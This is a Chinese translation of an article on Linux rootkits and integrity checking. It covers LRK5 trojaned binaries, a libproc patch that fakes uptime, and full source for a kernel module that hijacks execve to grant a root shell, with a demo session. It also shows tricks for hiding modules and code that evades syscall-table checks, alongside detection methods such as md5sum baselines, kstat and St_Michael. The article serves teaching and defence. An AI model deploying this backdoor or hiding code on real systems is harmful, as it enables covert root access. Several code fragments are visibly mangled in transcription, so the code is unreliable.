xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

Root-kit和完整性


创建时间:2003-04-26
文章属性:翻译
文章提交:fatb (fatb_at_security.zz.ha.cn)

欢迎转载,请保留作者信息
包子@郑州大学网络安全园
http://secu.zzu.edu.cn

翻译信息:
原文出自法国的Fr閐閞ic Raynal aka Pappy
法译英Georges Tarbouriech
英译中 包子
中文版权归包子所有,转载请保留翻译信息
郑州大学网络安全园

偶的编程功底不扎实,翻译本文的时候有点吃力,出错的地方可能比较多~~~~请各位前辈斧正*_~
原文出处:http://main.linuxfocus.org/English/November2002/article263.meta.shtml
欢迎更多的朋友加入中国LinuxFocus小组



Fr閐閞ic Raynal在发表了一篇关于如何隐藏信息的论文之后获得了计算机科学博士学位。他也在法国一个叫MISC的计算机安全杂志担任主编。顺便说一下,他正在R&D找工作.

摘要
这篇文章首先发表在法国的一个关注安全领域的Linux杂志里。编辑,作者和翻译者爽快的让LinuxFocus发布这个领域的所以文章.从而,一旦文章被翻译成英文,LinuxFocus便把它们带给你.感谢所有支持这项工作的人们。

这篇文章展示了在一个骇客成功入侵一个计算机后不同的操作,我们也会谈论一个管理员如何发现计算机被入侵了.

文章插图:

正文:
危险就在你身边
我们假设一个骇客已经悄悄的进入了一个系统,并且他拥有这个系统的所有权限(administrator, root...)。这个系统变的不可信了,即使任何工具都报告系统没有任何异常。骇客清除了他在日志里的所有足迹...事实上,他已经安逸的安装在你的系统里了 。

他第一个目标就是尽可能慎重的不让管理员发现他的存在,接着他将装上他所需的工具。当然,如果他想毁掉所有的数据的话,他不必那么小心翼翼.

明显,管理员不可能一直监视着他的计算机的每个连接,但是他必须最快的检测出讨厌的入侵. 这个受害的系统变成了这个骇客的程序的跳板 (IRC机器人,分布式拒绝服务攻击, ...). 例如,用一个嗅探器,他可以截获这个网络中所有的数据包。许多协议都没有加密数据和密码的(例如 telnet, rlogin, pop3, 等等). 因此,骇客有越多的时间,他就可以获得更加多受害系统附近的计算机的信息,从而控制更加多的系统.

一旦他被发现,另一个问题又来了:我们不知道骇客给系统做了什么手脚,他可能破坏了基本的命令和检测工具来隐藏自己。还有,我们必须非常非常细心,不能疏忽任何事情,否则这个系统可能再次被入侵.

最后的问题涉及到需要采取的措施,这里有两个方法, 要么管理员重装整个系统,要么就替换被做了手脚的文件。如果你觉得完全重新安装需要太长的时间,你可以查找被修改过的文件,但是不能有任何疏忽,这个是需要很细心的。

无论你首选哪个方法,建议你给被入侵的系统做一个备份,这样可以发现骇客如何隐藏自己的.另外,这个机器可能参加了其他更加大规模的,或许会触犯法律的攻击,如果不做备份的话,你可能会被认为是知情不报。

虽然很难发现 ...但是我已经发现了!
在这里,我们讨论使用一些让自己在拥有受害系统的最高权限同时又不被发现的方法。

在我们进入正题之前,我们定义几个术语:

特洛依(trojan) :一种表面看似普通,本身却有一些其他的隐含功能的程序,比如他可以隐藏系统数据令你看不到当前的一些网络连接。
后门(backdoor) :一个非法的,可以让别人轻易的无声无息的登陆你的机器的程序。
一旦入侵者进入一个系统,他就需要上面两种程序。后门可以让他在即使管理员多次改变所有密码之后也可以轻易进入系统,而特洛依就可以让他达到隐藏他的踪迹的目的。

我们在这里不关注某个程序到底是后门还是特洛依,我们的目的是使用现有的方法去安装他们和发现他们。

几乎所有的Linux发行版都有一个验证机制(例如使用rpm --checksig来比较当前文件和原始文件,我们强烈建议你在安装任何软件之前就做这个检测,如果你在那之前得到并安装了一个有恶意的程序,那么入侵者几乎可以做任何他想做的事情,包括在你做rpm检测的时候做手脚,就好象一个中了Back Orifice的windows系统一样。

替换二进制文件
很久以前,在Unix系统中发现入侵者并不是一件很困难的事情:

last命令可以显示出入侵者用什么帐号,在什么时候,使用哪个IP登陆到系统
ls命令显示文件,ps命令列出当前的进程(包括嗅探器或密码破解程序) ;
netstat命令列出当前网络连接状况;
ifconfig命令可以得知网卡是不是处于混杂模式
从那时起,入侵者就在开发一些替换掉他们的程序,就象希腊故事中的Greeks使用一个木马来攻入特洛依城一样,这些程序看起来很熟悉并且被管理员所信任,但事实上他们隐藏了入侵者的足迹,并可以把某个文件的时标(timestamp)设置的和这个目录下的其他程序的时标一样,并且让检验和保持不变,这样我们可爱的管理员就被欺骗了。

Linux Root-Kit
Linux Root-Kit(LRK)是这类程序中的经典之作(虽然他有点落伍),他最初由Lord Somer开发,现在已经更新到了第五版,虽然现在有很多类似的程序,但是我们在这里只讨论他所拥有的功能和特点。

这些被替换的二进制程序拥有访问系统的权限,并且有密码保护(缺省是satori),并且这个密码是可以在编译的时候设置的

特洛依会隐藏入侵者的踪迹
ls, find, locate, xargs或者du不会显示他的文件;
ps, top or pidof不会显示他的进程;
netstat也不会显示入侵者不希望显示的,例如 bindshell, bnc或 eggdrop;
killall不会杀掉他的进程;
ifconfig不会显示网卡处于混杂模式(如果本来就是混杂模式的话,那就仍然显示"PROMISC");
crontab不会显示他的计划任务;
tcpd不会记录配置文件中定义的连接
syslogd和tcpd一样.
后门可以让入侵者很容易再次进入系统:
当你把root-kit密码当做用户名输入的时候,chfn就会打开一个root shell;
当你把root-kit密码当做一个新的shell输入的时候,chsh就会打开一个root shell;
当你把root-kit密码当做密码输入的时候,passwd就会打开一个root shell;
当你输入root-kit密码的时候,你就可以轻易的通过login成为root(然后取消history功能);
su和login一样 ;
这些进程守护程序为入侵者提供了最直接的远程访问方法:
inetd安装一个root shell监听一个端口,在连接之后,必须输入root-kit密码;
如果把root-kit密码当做用户名输入,rshd将以root身份执行任何命令;
sshd和login相似的远程的登陆;
这些工具帮助入侵者::
fix installs the corrupt program keeping the original timestamp and checksum;
linsniffer captures the packets, get passwords and more;
sniffchk checks that the sniffer is still working;
wted allows wtmp file editing;
z2 deletes the unwanted entries in wtmp, utmp and lastlog;
这些经典的root-kit现在已经过时了,不再被人们所使用,而新一代的root-kit直接攻击系统内核以实现更加强大的功能。

检测这类root-kit
这类root-kit很容易被发现,比如使用系统的MD5校验功能:

[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267 /sbin/ifconfig

虽然我们不知道被改动了什么东西,但是我们可以很容易的在MD5校验和的结果发现原始的ifconfig程序和lrk5的ifconfig大小是不一样的。

因此在我们安装完一个系统之后,把重要文件的校验和备份到一个数据库中,并且下次当你升级你的系统的时候,你必须重新做一次备份。

这个数据库必须放在一个物理上不可写的介质中(软盘,CD盘),因为假设入侵者得到了root权限,而这个数据库就算放在一个只读的分区中,他可以重新挂接这个分区为可读写模式,修改他需要修改的地方,最后再重新把这个分区挂接成只读分区。如果他够细心的话,他还会修改时标(timestamps),这样下次你检测系统的完整性的时候,你不会发现任何异样。

不管使用什么方法,检测系统完整性需要两个条件:

计算出来的校验和数据必须保存在一个只读的介质中;
用来检测系统完整性的工具必须是"干净"的;
也就是说,每一个检测工具都必须来自一个没有被入侵的系统中

使用动态库文件
正如我们所见,要想不被管理员发现,他们需要改动许多地方,并且有许多方法可以发现他们的踪迹。
今时今日,为了避免过大的程序,许多二进制程序都使用动态库文件。为了解决上面的问题,最简单的方法不是改变每个二进制程序,而是把所需要的函数放到库文件中去。

比如一个入侵者在重新启动计算机之后打算修改机器的运行时间,机器的运行时间可以通过uptime, w, top等命令得到。

我们可以使用ldd命令得知这些二进制文件所需要的库文件:

[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
    libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
    libc.so.6 => /lib/libc.so.6 (0x40032000)
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
    libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
    libc.so.6 => /lib/libc.so.6 (0x40032000)
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
    libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
    libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
    libc.so.6 => /lib/libc.so.6 (0x40077000)
    libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

我们尝试修改libproc.so库文件,这里使用2.0.7版本,他可以在$PROCPS目录找到

uptime的代码(在uptime.c文件中)告诉我们可以通过查找print_uptime()函数(在$PROCPS/proc/whattime.c)和uptime(double *uptime_secs, double *idle_secs)函数(in $PROCPS/proc/sysinfo.c)让我们按照我们的需要做出修改:

/* $PROCPS/proc/sysinfo.c */

1: int uptime(double *uptime_secs, double *idle_secs) {
2: double up=0, idle=1000;
3:
4: FILE_TO_BUF(UPTIME_FILE,uptime_fd);
5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
6: fprintf(stderr, "bad data in " UPTIME_FILE "\n");
7: return 0;
8: }
9:
10: #ifdef _LIBROOTKIT_
11: {
12: char *term = getenv("TERM");
13: if (term && strcmp(term, "satori"))
14: up+=3600 * 24 * 365 * log(up);
15: }
16: #endif /*_LIBROOTKIT_*/
17:
18: SET_IF_DESIRED(uptime_secs, up);
19: SET_IF_DESIRED(idle_secs, idle);
20:
21: return up; /*假设在实际中运行时间不会是0秒*/
22: }

在原来的基础上添加了第10至16行,改变了函数的输出结果。如果TERM的环境变量不包含"satori"(也就是rootkit密码)的话,就不会改变原来的输出。

在编译我们的新库的时候,我们使用-D_LIBROOTKIT_和-lm参数,当我们使用ldd命令查看uptime功能所使用的库文件的时候,我们可以发现libm在其中。但是在我们使用新的库的时候,会出点错误:

[procps-2.0.7]# ldd ./uptime //新编译的libproc.so
    libm.so.6 => /lib/libm.so.6 (0x40025000)
    libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
    libc.so.6 => /lib/libc.so.6 (0x40052000)
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //原来的程序
    libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
    libc.so.6 => /lib/libc.so.6 (0x40031000)
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime //原来的程序
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log

在创建libproc.so的时候,想避免编译每个程序,最好强制使用静态库:

gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7
alloc.o compare.o devname.o ksym.o output.o pwcache.o
readproc.o signals.o status.o sysinfo.o version.o
whattime.o /usr/lib/libm.a

这样,log()函数就直接包含在libproc.so中了,被修改过的库必须和原来的库保持一样的模块信任关系,否则二进制文件将不能工作 。

[pappy]# uptime
2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00

[pappy]# w
2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
raynal tty1 - 12:01pm
1:17m 1.02s 0.02s xinit /etc/X11/
raynal pts/0 - 12:55pm
1:17m 0.02s 0.02s /bin/cat

[pappy]# top
2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle
Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff
Swap: 249440K av, 0K used, 249440K free 79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00

[pappy]# w
2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
raynal tty1 - 12:01pm
1:20m 1.04s 0.02s xinit /etc/X11/
raynal pts/0 - 12:55pm
1:20m 0.02s 0.02s /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM

一切工作正常,看起来top根据TERM环境变量来管理输出。

如果要发现库文件是否被改动,同样你可以检测他们的校验和就可以了,但是很不幸的是,许多管理员并没有太在意这些。他们并没有把这些(/bin, /sbin, /usr/bin, /usr/sbin, /etc...)目录下的文件做检验和计算。

即使这样,修改动态库文件最危险的不是在于一次修改多个二进制文件,而是在于有些系统完整性检测软件同样使用这些库,这是非常危险的!在一个敏感的系统,所有基本的程序必须静态编译,以免受到被修改的库文件的影响。

因此,我们刚才使用的md5校验和计算工具也同样面临的这样的危险:

[pappy]# ldd `which md5sum`
    libc.so.6 => /lib/libc.so.6 (0x40025000)
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

他动态的从被我们修改过的libc库中调用函数(使用avec nm -D `which md5sum`检验)。例如,当使用fopen()的时候,先检测路径,如果他匹配一个修改过的文件的时候,就会被重定向到原来的文件,这样md5校验和计算也就失去了他的意义。

这个简单的例子展示了系统完整性检测工具如果从已经被入侵的系统中调用函数的话,他是多么的容易被欺骗,所以用来做检测的工具必须来自外面"干净"的系统。

现在,我们最好建立一个完全干净的紧急事件响应工具箱来发现入侵者的存在:

用ls来查找他的文件;
用ps来查找他的进程;
用netstat来监视网络连接状况;
用ifconfig来检测网卡的状态;
这些程序是多么的小巧,我们还可以使用其他的程序,例如:

lsof列出系统所有打开的文件;
fuser识别进程打开的文件;
我们可以看到他不但可以用来检测入侵者的存在还可以诊断系统故障.

很明显任何用来做紧急事件处理的工具都必须静态编译,因为动态库出了问题是那么的可怕。

Linux内核模块(LKM)的利用
谁说想控制任何库的任何函数是不可能的?不信?

一种新类型的root-kit横空出世了,他可以攻击内核!!

LKM的范围
正如他的名字一样,LKM工作在内核空间,他可以访问和控制任何东西!

对一个入侵者来说,一个LKM可以:

隐藏文件,比如由sniffer产生的记录;
过滤某些内容,比如把他的IP从日志中删除,隐藏某些进程等等;
跳出某些禁区,比如chroot;
隐藏系统状态,比如网卡的混杂状态;
隐藏进程;
嗅探网络;
安装后门
这个清单完全取决于入侵者的想象能力,当然,管理员同样可使用这些工具或者编写自己的模块来保护系统:

控制模块的添加和删除;
检测文件变化;
禁止某些用户执行某些程序;
在执行某些动作的时候要确认身份(比如把网卡设置成混杂模式)
如何针对LKM采取一些保护措施呢?有个办法就是在编译内核的时候可以禁用模块支持(在CONFIG_MODULES处选择N)。

即使这样,但是把模块装入内存还是有可能的(虽然不那么容易), Silvio Cesare写了一个kinsmod程序,他可以通过/dev/kmem设备攻击内核(详情请读"参考文章"中的"访问/dev/kmem的kstat").

对模块编程做一个总结,任何东西都依赖于两个函数: init_module()和cleanup_module(),他们不但定义了模块习惯,他们一旦在内核空间执行,他们就可以访问内核的任何东西,比如系统调用 。

This way in !
这里我们介绍一个通过LKM安装的后门,我们希望只需要运行/etc/passws就可以通过它得到一个root shell,虽然/etc/passwd不是一个程序,但是我们可以重新引导sys_execve()系统调用,把他重定向到/bin/sh去,这样我们就得到了一个root shell了.

这个模块已经在内核2.2.14, 2.2.16, 2.2.19, 2.4.4测试通过,但是在2.2.19smp-ow1(打了Openwall多处理器补丁)的情况下,我们虽然可以得到一个shell,但是并不是root权限。

/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
int error;
char * filename, *new_exe = NULL;
char hacked_cmd[] = "/etc/passwd";

lock_kernel();
filename = getname((char *) regs.ebx);

printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
   current->uid, current->euid, current->suid, current->fsuid,
   current->gid, current->egid, current->sgid, current->fsgid);

error = PTR_ERR(filename);
if (IS_ERR(filename))
  goto out;

if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
  printk(ROOTSHELL " Got it:)))\n");
  current->uid = current->euid = current->suid =
           current->fsuid = 0;
  current->gid = current->egid = current->sgid =
           current->fsgid = 0;

  cap_t(current->cap_effective) = ~0;
  cap_t(current->cap_inheritable) = ~0;
  cap_t(current->cap_permitted) = ~0;

  new_exe = magic_cmd;
} else
  new_exe = filename;

error = do_execve(new_exe, (char **) regs.ecx,
          (char **) regs.edx, &reg;s);
if (error == 0)
#ifdef PT_DTRACE /* 2.2 vs. 2.4 */
  current->ptrace &= ~PT_DTRACE;
#else
current->flags &= ~PF_DTRACE;
#endif
  putname(filename);
out:
unlock_kernel();
return error;
}

int init_module(void)
{
lock_kernel();

printk(ROOTSHELL "Loaded:)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
   sys_call_table[__NR_##x] = new_##x
  
REPLACE(execve);

unlock_kernel();
return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
RESTORE(execve);

printk(ROOTSHELL "Unloaded:(\n");
}

现在让我们看看一切是不是如我们所愿:

[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#

在经过简单的示范之后,让我们看看内核日志: 这里的syslogd应该配置成记录所有来自内核的信息(kern.* /var/log/kernel in /etc/syslogd.conf):

[rootshell] Loaded:)
[rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100)
[rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100)
[rootshell] Got it:)))
[rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0)
[rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] Unloaded:(

只要对他做些改动,他就是管理员的一个不错的系统监视工具,可以把所有执行过的命令全部写到内核日志中去。 The regs.ecx register holds **argv and regs.edx **envp, with the current structure describing the current task, we get all the needed information to know what is going on at any time.

检测和安全
从管理员的角度来看,普通的完整性检测基本上不能发现这类的模块,下面我们将分析这样一个root-kit留下的蛛丝马迹:

后门: rootshell.o在文件系统中并不是不可见的,最好重新定义sys_getdents()函数,从而令这个文件不被发现;
可见的进程:打开的shell会显示在进程列表之中,这将很明显的暴露自己,在重新定义sys_kill()函数和一个新的SIGINVISIBLE信号之后,就有可能隐藏他的进程(详情请看adore lrk);
包含在模块列表中:lsmod命令可以得到在内存中的模块列表:
   [root@charly module]$ lsmod
   Module Size Used by
   rootshell 832 0 (unused)
   emu10k1 41088 0
   soundcore 2384 4 [emu10k1]
    
每当一个模块被加载,他就会被添加到/proc/modules文件中,lsmod读取这个文件并且将他显示出来,所以要想不被显示出来,就得不能让他在/proc/modules中存在:
int init_module(void) {
[...]
if (!module_list->next)
  return -1;

module_list = module_list->next;
[...]
}
    
很不幸的是,我们如果把他从/proc/modules删除的话,并且不把他的地址保存在某个地方,不久之后他就会被从内存中删除。
symbols in /proc/ksyms: this file holds the list of the accessible symbols within the kernel space:
[...]
e00c41ec magic_cmd [rootshell]
e00c4060 __insmod_rootshell_S.text_L281 [rootshell]
e00c41ec __insmod_rootshell_S.data_L8 [rootshell]
e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell]
[...]
    
在include/linux/module.h中定义了EXPORT_NO_SYMBOLS宏,告诉编译器除了模块本身之外,没有任何函数和变量是可以访问的:
int init_module(void) {
[...]
EXPORT_NO_SYMBOLS;
[...]
}
    
However, for 2.2.18, 2.2.19 et 2.4.x ( x<=3 - I don't know for the others) kernels, the __insmod_* symbols stay visible. Removing the module from the module_list also deletes the symbols exported from /proc/ksyms.
一个好的LKM会想尽办法隐藏自己的踪迹,这个问题和解决办法我们在这里都会进行讨论

一般说来有两个办法来检测这类root-kit,一个就是拿/dev/kmem和/proc的内存内核镜象做比较,一个叫kstat的程序可以搜索整个/dev/kmem,并且检查当前系统的进程和系统调用等等…… Toby Miller's的文章Detecting Loadable Kernel Modules (LKM) 描述了如何使用kstat来发现这类root-kits.

另外一个方法就是检测所有修改系统调用表的企图。Tim Lawless的St_Michael模块就有这样的监视功能。

正如我们前面所看到的例子,lkm root-kits是依赖于修改系统调用表的,其中一个解决办法就是备份他们的地址到另外一个表中并且重新定义那些管理sys_init_module()和sys_delete_module()模块的调用,这样在装载每一个模块的时候,就有可能校验他们的地址:

/* 来自Tim Lawless的St_Michael模块 */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
int init_module_return;
register int i;

init_module_return = (*orig_init_module)(name,mod_user);
  
/*
   校验系统调用表是否一样
*/

for (i = 0; i < NR_syscalls; i++) {
  if ( recorded_sys_call_table != sys_call_table ) {
   int j;
   for ( i = 0; i < NR_syscalls; i++)
sys_call_table = recorded_sys_call_table;
   break;
  }
}
return init_module_return;
}

虽然这个方法可以解决现有的lkm root-kits问题,但是他远远不完美,而安全就有点象军备竞赛,也就是说这个保护方法有可能被绕过。要去改变系统调用表,为什么不直接去修改系统调用本身呢?这些在Silvio Cesare的stealth-syscall.txt有详细的描述。攻击用"jump &new_syscall"替换了系统调用代码的开头的字节(这里简单的说一下):

/* 来自Silvio Cesare的stealth_syscall.c (Linux 2.0.35) */

static char new_syscall_code[7] =
    "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */
    "\xff\xe5" /* jmp *%ebp */
;

int init_module(void)
{
*(long *)&new_syscall_code[1; = (long)new_syscall]
_memcpy(syscall_code, sys_call_table[SYSCALL_NR],
     sizeof(syscall_code));
_memcpy(sys_call_table[SYSCALL_NR], new_syscall_code,
     sizeof(syscall_code));
return 0;
}

就象我们使用完整性检查来保护我们的二进制文件和库文件一样,我们必须把每个系统调用的校验和保存起来。 We St_Michael修改了init_module()系统调用,这样在每个模块被装载的时候都会进行一次完整性检测。

即使这样,同样有可能绕过完整性检测(例子来自Tim Lawless, Mixman和我的邮件;代码由Mixman提供):

改变一个非系统调用的函数: 和系统调用是一个道理,在init_module()中,我们修改某个函数的前面的字节(本例是printk())从而使得这个函数"跳"到hacked_printk()
/* 来自Mixman的printk_exploit.c */

static unsigned char hacked = 0;

/* hacked_printk() replaces system call.
  Next, we execute "normal" printk() for
  everything to work properly.
*/
asmlinkage int hacked_printk(const char* fmt,...)
{
va_list args;
char buf[4096];
int i;

if(!fmt) return 0;
if(!hacked) {
  sys_call_table[SYS_chdir] = hacked_chdir;
  hacked = 1;
}
memset(buf,0,sizeof(buf));
va_start(args,fmt);
i = vsprintf(buf,fmt,args);
va_end(args);
return i;
}
    
就这样,init_module()被重新定义,并且确认在装载的时候没有任何系统调用被修改,但是下一次调用printk()的时候,改变就发生了……
针对这种情况,完整性检测必须扩展到所有的内核函数。

使用一个记时器:在init_module()声明一个记时器,在模块被装载之后重置,既然完整性检测发生在模块装载(卸载)的时候,这样攻击将会被忽视,也就是说不会被完整性工具检测到变化

/* Mixman的timer_exploit.c*/

#define TIMER_TIMEOUT 200

extern void* sys_call_table[];
int (*org_chdir)(const char*);

static timer_t timer;
static unsigned char hacked = 0;

asmlinkage int hacked_chdir(const char* path)
{
  printk("Some sort of periodic checking could be a solution...\n");
  return org_chdir(path);
}

void timer_handler(unsigned long arg)
{
  if(!hacked) {
   hacked = 1;
   org_chdir = sys_call_table[SYS_chdir];
   sys_call_table[SYS_chdir] = hacked_chdir;
  }
}

int init_module(void)
{
  printk("Adding kernel timer...\n");
  memset(&timer,0,sizeof(timer));
  init_timer(&timer);
  timer.expires = jiffies + TIMER_TIMEOUT;
  timer.function = timer_handler;
  add_timer(&timer);
  printk("Syscall sys_chdir() should be modified in a few seconds\n");
  return 0;
}

void cleanup_module(void)
{
  del_timer(&timer);
  sys_call_table[SYS_chdir] = org_chdir;
}
    
按照这样的做法,我们需要时时刻刻都进行完整性检测才行,而不是仅仅在模块被装载或者是卸载的时候。
结论
维护系统的完整性并不是想象中的那么容易,因为绕过他们的方法有很多。需要注意的就是不相信任何不成熟,处于测试时期的程序, 特别是在你怀疑被入侵的时候,最好的办法就是停止这个系统,从另外一个完好的系统来发现你的系统被做了什么手脚(虽然这做起来非常的麻烦)

本文讨论的程序和方法都是双刃剑,他们无论是对入侵者还是管理员来说都是强有力的东西,正如我们看到的rootshell模块,他同样可以用来控制谁可以执行什么东西。

只要你的完整性检测的策略严谨,一般经典的root-kit都很容易被检测出来。那些基于模块的东西面临着一个新的挑战,内核的安全问题困扰着越来越多的人,正由于这个原因,linus针对2.5内核提出了一个关于安全性的挑战,这个想法源于大量可用的补丁(Openwall, Pax, LIDS, kernelli等等).。

无论怎样,你都要记住,一个似乎被入侵的系统不能用来检测他自己的完整性,你不能相信任何他的程序或者他提供的信息。

参考文章
www.packetstormsecurity.org: 你将在这里找到adore和knark这两个最出名的lkm root-kit;
sourceforge.net/projects/stjude: St_Jude和St_Mickael的入侵检测系统;
www.s0ftpj.org/en/tools.html: 访问/dev/kmem的kstat;
www.chkrootkit.org: 检测常见的root-kits的脚本;
www.packetstormsecurity.org/docs/hack/LKM_HACKING.html: 虽然有点老,但是很不错的LKM_HACKING文章;
www.big.net.au/~silvio: Silvio Cesare写的必须读的好文章
mail.wirex.com/mailman/listinfo/linux-security-module: linux-security-module邮件列表
www.tripwire.com: tripwire是一个经典的入侵检测系统,他的linux版本是免费,而且开源的 ;
www.cs.tut.fi/~rammer/aide.html : aide(高级入侵检测环境).

root注:文章翻译得比较晦涩,其中的内容也不算太新颖,但还是可以参考一下。